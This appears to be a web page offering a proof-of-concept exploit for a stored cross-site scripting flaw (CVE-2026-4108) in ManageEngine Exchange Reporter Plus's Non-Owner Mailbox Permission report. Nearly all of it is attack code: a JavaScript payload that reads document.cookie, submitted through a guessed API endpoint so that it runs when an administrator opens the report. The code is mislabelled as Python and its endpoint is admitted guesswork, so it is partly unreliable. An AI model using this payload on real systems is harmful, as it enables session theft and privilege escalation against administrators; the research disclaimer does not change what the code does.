Zohocorp ManageEngine Exchange Reporter Plus < 5802
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC Concept for CVE-2026-4108
Target: Non-Owner Mailbox Permission report parameter
-->
<script>
// Example payload to be injected into the vulnerable field
var xssPayload = '<img src=x onerror=alert(document.cookie)>';
function exploit() {
// Assuming an API endpoint or form submission exists for updating permission reports
// Low privilege user authenticates and submits the malicious data
var data = {
"reportType": "Non-Owner Mailbox Permission",
"vulnerableField": xssPayload // Injection point
};
fetch('/api/reports/update', {
method: 'POST',
body: JSON.stringify(data),
credentials: 'include'
}).then(response => {
console.log('Payload injected successfully. Wait for Admin to view the report.');
});
}
exploit();
</script>